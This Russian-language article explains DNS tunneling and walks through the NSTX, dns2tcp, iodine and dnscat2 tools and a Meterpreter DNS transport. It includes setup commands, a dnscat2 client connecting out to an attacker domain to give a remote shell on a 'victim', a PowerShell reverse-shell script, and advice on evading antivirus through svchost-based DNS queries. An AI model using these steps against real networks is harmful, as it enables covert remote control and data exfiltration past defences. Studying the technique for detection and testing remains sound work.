DNS-tunneling: как, что и зачем это хакеру?

Что такое DNS-tunneling

DNS-tunneling — техника, позволяющая передавать произвольный трафик (фактически, поднять туннель) поверх DNS-протокола. Может применяться, например, для того чтобы получить полноценный доступ к Интернет из точки, где разрешено преобразование DNS-имён.

Для организации DNS-туннеля необходимо чтобы снаружи (то есть, в точке, куда направлен туннель) его кто-то принимал. Точка приёма является сервером имён для какой-то зоны. Изнутри сети делаются запросы имён по этой зоне. Так передаётся трафик изнутри <—. В качестве результата преобразования возвращаются ответные данные. Так передаётся трафик внутрь —>.

DNS-туннелирование нельзя запретить простыми правилами брандмауэра, разрешив при этом остальной DNS-трафик. Это связано с тем, что трафик DNS-туннеля и легитимные DNS-запросы неразличимы. Обнаруживать DNS-туннелирование можно по интенсивности запросов (если трафик по туннелю велик), а также более сложными методами, используя системы обнаружения вторжений.

В последнее время огромного количества вирусов и троянов, которые применяют DNS-протокол в его нештатном режиме работы. Использование стандартных DNS-запросов в качестве транспорта, позволяет им эффективно преодолевать практически любые защитные системы, заботливо воздвигнутые администраторами на шлюзе в корпоративную сеть. В самом деле, DNS-трафик плохо (или почти никак) не анализируется стандартными IDS-системами, также как открыт для прохода в обе стороны практически на любом брандмауэре, что позволяет вражеской колонии из зловредов, находясь даже в глубоком тылу не терять связь со своей «большой родиной

Кроме уже упомянутых армии ботов и троянов, DNS-туннелинг активно используют для обхода как персональных, так и корпоративных средств защиты по всему миру. В частности, я лично был впечатлён случаем, когда наблюдал ситуацию применения такой технологии для проброса ICQ/Jabber, несмотря на практически полную блокировку входящего трафика в крупную государственную сеть.

NSTX как вариант софтинки для тунелинга

NameServer Transfer Protocol (NSTX) — одна из самых известных и фундаментальных реализаций идеи DNS-туннелинга. Данный комплекс создаёт двунаправленный IP-туннель для передачи данных на базе любого легитимного транзитного DNS-трафика.

Сама история создания этой утилиты очень показательна. Как рассказывает автор пакета (пожелавший остаться анонимным), он, много летая по всему миру, часто сталкивался с типичной ситуацией, когда сидя в очередном аэропорту, гостинице или кафе, для подключения к местной WiFi-сети требуется покупка платежных карт или зачисления денег на счет местного провайдера.

Для разовой проверки почты или одного-двух твитов приобретать новую prepaid-карту чаще всего нецелесообразно, поэтому я выбрал иной путь. В таких ситуациях с помощью NSTX он пробрасывает IP-трафик к своему DNS-серверу (выполняющего роль принимающего прокси-сервера для выхода в большой Интернет). При этом, согласно его богатому международному опыту, в подобных сетях даже в гостевом режиме практически всегда доступен DNS-резольвинг. Собственно, именно для личных нужд и был разработан этот программный пакет.

В силу популярности именно этого варианта туннелирования, совсем немного остановлюсь на установке и настройке его клиента (на примере Debian). Для начала устанавливаем весь пакет NSTX:

# apt-get install nstx 

После чего в файле-настройке /etc/default/nstx следует сначала добавить адрес принимающего DNS-сервера (параметр NSTX_DOMAIN), а затем включить работу этого демона путем присвоения обоим параметрам ifup_tun0 и start_nstxd значения «yes».

Дополнительно нужно сконфигурировать и новый системный интерфейс:

iface tun0 inet static

address 10.0.0.1

netmask 255.0.0.0 

После перезагрузки сервера, предварительно убедившись, что туннелирующее устройство tun0 присутствует в системе, включаем перенаправление всех пакетов на этот интерфейс. Я не буду останавливаться на этом тривиальном моменте — для каждой отдельной системы это можно сделать разными стандартными способами в зависимости от используемых брандмауэров и другого сетевого инструментария. Я отсылаю к официальной документациипо поводу деталей настройки NSTX-сервера, что не намного сложнее, чем вышеописанная настройка клиента.

Dns2tcp и еще один кладезь в нас сундучок

Почти полный аналог NSTX, за тем исключением, что он пробрасывает лишь TCP-трафик. Автор этой утилиты Оливер Димбауэр постарался сделать максимально «легкую» реализацию идеи DNS-туннелинга: для запуска и инициализации соединения на стороне клиента не требуется установки никаких новых драйверов или интерфейсов, также как не нужны и права администратора.

Настройка Dns2tcp существенно проще в сравнении с NSTX, поэтому просто отмечу, что документация этого проекта доступна здесь. В силу простоты Dns2tcp в нём отсутствуют встроенные механизмы аутентификации и шифрования, именно поэтому он часто используется совместно с обёрткой из ssl-tunnel , вариант парной настройки которых и отражен в большинстве примеров официальной документации. Поставляется эта утилита в комплекте из сервера и клиента, доступных для самостоятельной компиляции в любой из Unix-систем.

Юзаем утилиту Iodine

Программа Iodine осуществляет туннелирование IPv4-трафика через DNS-сервер. Она может пригодиться в ситуации, когда доступ в интернет ограничен, но DNS-запросы разрешены.

Проект получил название по символам аббревиатуры IOD (IP Over DNS), а также в связи с тем, что йод в таблице Менделеева имеет 53-й порядковый номер, и это совпадает с 53-м портом, на котором работает служба DNS.

Iodine прост в использовании и не нуждается в особом конфигурировании. Программу нужно установить на сервере и клиенте, затем на сервере требуется делегировать программе какой-нибудь поддомен. Например, в случае использования BIND нужно добавить пару строчек.

t1 IN NS t1ns.mydomain.com. ; note the dot!

t1ns IN A 10.15.213.99

Желательно использовать короткое имя поддомена, чтобы оставить как можно больше места для полезного трафика.

После этого все DNS-запросы к домену t1.mydomain.com будут направляться к серверу iodined.

Установка на сервере:

./iodined -f 10.0.0.1 t1.mydomain.com

В клиенте запускаем команду:

./iodine -f -r 192.168.0.1 t1.mydomain.com

Сервер iodined открывает виртуальный интерфейс и слушает DNS-запросы на UDP-порту 53.

Разработчики предупреждают, что трафик в этом туннеле никак не шифруется, поэтому желательно использовать VPN (то есть двойное туннелирование) или SSH.

Еще один вариант создания DNS-тунелинга с помощью dnscat2

Эта небольшая популярная утилита является частью сервисного DNS-пакета nbtools, её развитие выделено в условно отдельный проект, поддерживаемый создателем Роном Бовисем. Как видно из названия, Dnscat пытается дублировать функциональность уже привычного всем базового сетевого инструмента netcat, за тем важным отличием, что здесь весь трафик транслируется посредством DNS-протокола. По большей части, все возможности Dnscat сводятся к двум моментам:

• Это возможность установки соединения и передачи информации (текстовых сообщений или файлов) между двумя произвольными хостами интернета;
• Возможность через уже установленное соединение, удаленно запускать команды системной оболочки (реализуется через опцию –e ), а также перенаправлять при этом вывод запускаемых команд на инициирующий соединение хост.

Интересной особенностью этой утилиты является то, что она может быть достаточно всеядной. С одной стороны, она позволяет работать через обычные рекурсивные DNS (по умолчанию) с авторитативным сервером «магического домена», с другой — есть режим прямого подключения к DNS-серверу, в этом случае можно работать в стандартном режиме клиент-сервер (запуск через аргумент --dns ). В последнем варианте понижается скрытность и универсальность работы утилиты, но в качестве приятного бонуса резко возрастает скорость и надежность соединения, кроме того, на принимающей соединение стороне уже не нужно иметь именно авторитативный сервер имен.

Утилита поставляется вместе с исходниками в составе пакета nbtool (сразу с клиентской и серверной частью), и может быть скомпилирована под Linux, FreeBSD и Windows.

Тулза dnscat2  разработанна для создания командно-контрольного канала (C&C) через DNS протокол. Включает в себя серверную и клиентскую части.

Клиентская часть запускается на скомпрометированной машине. Когда запускаете клиента, то просто указываете доменное имя. Все запросы будут отправлены через локальный сервер DNS, который перенаправит их на авторизованный сервер DNS, который находится под вашим контролем.

Если у вас нет авторизованного DNS сервера, вы можете использовать соединение на свой хост по UDP/53 или любой другой выбранный порт.

Данные запросы будут отправляться быстро и будут выглядеть как обычный DNS траффик.

Серверная часть разработана для того, чтобы работать на авторизованном DNS сервере. При запуске, слушает UDP/53.

Установка dnscat2 server:

# apt-get update

# apt-get -y install ruby-dev git make g++

# gem install bundler

# git clone https://github.com/iagox86/dnscat2.git

# cd dnscat2/server

# bundle install

Теперь рассмотрим возможные сценарии работы с dnscat2.

Первый случай. На атакуемой машине доступен любой DNS траффик и имеется доступ к любым серверам DNS.

• Запускаем dnscat2 server на машине атакующего:

# ruby ./dnscat2.rb

При запуске dnscat2 server начинает слушать порт 53/UDP и предоставит интерактивный shell для удаленного доступа к компьютеру, с которого был запущен dnscat2 client.

•  Теперь запускаем dnscat2 client на удаленной машине.

Как только мы выполним подключение, dnscat2 server сообщит нам об этом ввиде номера сессии.

Доступ к установленной сессии мы получим с помощью команды: session -i 5965

А далее мы можем с клиентом выполнят стандартные операции, такие как

• Скачивание файлов
• Загрузка файлов
• Выполнение команд на жертве
• Переход в шелл

Ниже представлен список команд, доступный атакующему:

Соответственно все команды и действия будут «заворачиваться» в DNS протокол и единственное, что выдаст атакующего, это большая генерация DNS запросов в сети.

Еще, при установке соединения с неавторизованным DNS сервером, утилита dnscat2 в составе пакета DNS отправляет свое имя, что также может быть проанализировано со стороны администраторов сети.

Второй случай. С атакуемой машины доступен DNS траффик только к легитимным DNS серверам.

В этом случае процесс построения туннеля будет аналогичен предыдущему описанию, но с использованием следующих опций:

Для сервера:

# ruby ./dnscat2.rb mydnsserver.com

Для клиента:

C:\dnscat-win32.exe mydnsserver.com

Один из вариантов защиты – это запретить на компьютерах в локальной сети выполнение утилиты dnscat2 client или посторонних бинарных программ.

Но на этот случай мы можем воспользоваться методом запуска программ с помощью стандартного Windows Power Shell.

Для этих целей уже написан специальный скрипт dnscat2.ps1 (https://github.com/lukebaggett/dnscat2-powershell), который позволяет получить reverse shell на нашем dnscat2 server.

Соответственно, запускаем этот скрипт как показано на рисунке ниже.

В данном случае, у нас должны быть административные права для работы с powershell и запущен dnscat2 server. При выполнении скрипта мы получим shell нашей жертвы.

Вот мы и рассмотрели еще одну утилиту для сокрытия траффика.

DNS туннель для Meterpreter

Meterpreter — довольно известный и популярный агент удаленного контроля в составе фреймворка Metasploit. Данный агент является довольно гибким и удобным, с кучей модулей и плагинов и типа API, что позволяет создать свои плагины и модули. Но к сожалению такие фичи как транспорт являются частью core-движка, и это означает, что модулем мы тут не отделаемся. На данный момент Meterpreter поддерживает следующие виды транспорта «сетевого» уровня:

• Binding TCP port
• Reverse connection over TCP/IP
• Reverse connection over HTTP

Разработанные компоненты

В текущей нашей версии «pre-release» мы сделали поддержку DNS транспорта только для OS Windows (для x64 и x86), который реализован в следующих компонентах:

• DNS MSF Bridge (по сути «прокси»)
• Meterpreter DNS transport (реализация транспорта в агенте)
• MSF stager payloads (шеллкоды, x64/x86)

DNS MSF Bridge — один из ключевых компонентов системы. По сути это Python скрипт, который работает как DNS сервис, который будет отвечать за резолв имен и возвращать агенту данные в виде RR записей. Этот интерфейс и есть суть организации DNS тунеля для шеллкода или агента Meterpreter. Одновременно, этот же сервис будет открывать обычный TCP порт, для коннекта со стороны Metasploit консоли, по обычному TCP. Таким образом пентестеру не надо думать как сделать MSF хэндлер и лептоп доступным для DNS. Вся задача сводиться к тому, что бы кинуть этот скрипт на своем сервере (AWS Ec2), завести на него свой домен, NS записи и не париться откуда и как работает пентестер — крайне удобно (на мой вкус). Кроме того, это решение позволяет работать нескольким пентестерам с одним DNS, но с разными нагрузками одновременно. Текущая версия поддерживает до 26 одновременно открытых meterpreter сессий. На данный момент у нас нет нативной поддержки DNS сервиса на Ruby в самом MSF, но работа над ним уже ведется силами Metasploit сообщества (а конкретно RageLtMan).

Сам же туннель организован через два типа RR записей (на выбор): DNSKEY RR and AAAA RR. Это значит что все эти реализации запилины во всех компонентах, включая шеллкоды. 

Собственно работа транспорта выглядит так: MSF хендлер (пентестер) конектится на наш сервис, шлет пейлод (например тело meterpreter) в наш ДНС и ждет… Затем, условно, срабатывает где-то и кого-то эксплойт и наш шеллкод, используя DNS туннель, выкачивает meterpreter, запускает его в контексте того же процесса, и уже сам meterpreter, используя тот же транспорт и DNS, организует дуплексную связь c MSF хендлером (пентестером). Далее пентестер может делать, что угодно — мигрировать в другой процесс, открывать интерактивный командный шелл, юзать mimikatz и тд и тп — все это будет скрыто нашим туннелем. На всем этапе killchain (после эксплуатации) мы используем один и тот же транспорт и нам не надо заливать на целевую машину доп бинарные файлы DNScat2 или запускать Powershell, мы с самого начала скрыты туннелем. Кроме того у нас нет overhead по туннелированию самого TCP/IP (заголовков), только TLV пакеты meterpreter и данные.

Отдельно добавлю пару слов про организацию туннеля со стороны шеллкода и meterpreter. Если, например, DNSCat2 использует собственно реализацию резолва имен (то есть он сам реализует TCP/UDP соединение), то в нашем случае мы используем Windows API: DnsQuery, что позволяет переложить реализацию сетевого соединения на MS DNSCache, то есть сетевое соединение будет реализовано непосредственно svchost.exe, а не взломанным процессом или бекдором (meterpreter). Это очень хорошая «фича», которая позволит обойти ряд проблем с EPP/AV и personal firewall, которые активно работают на рабочей станции «жертвы», и мониторят новые подозрительные соединения. Так это выглядит:

Мы еще продолжим эту тему..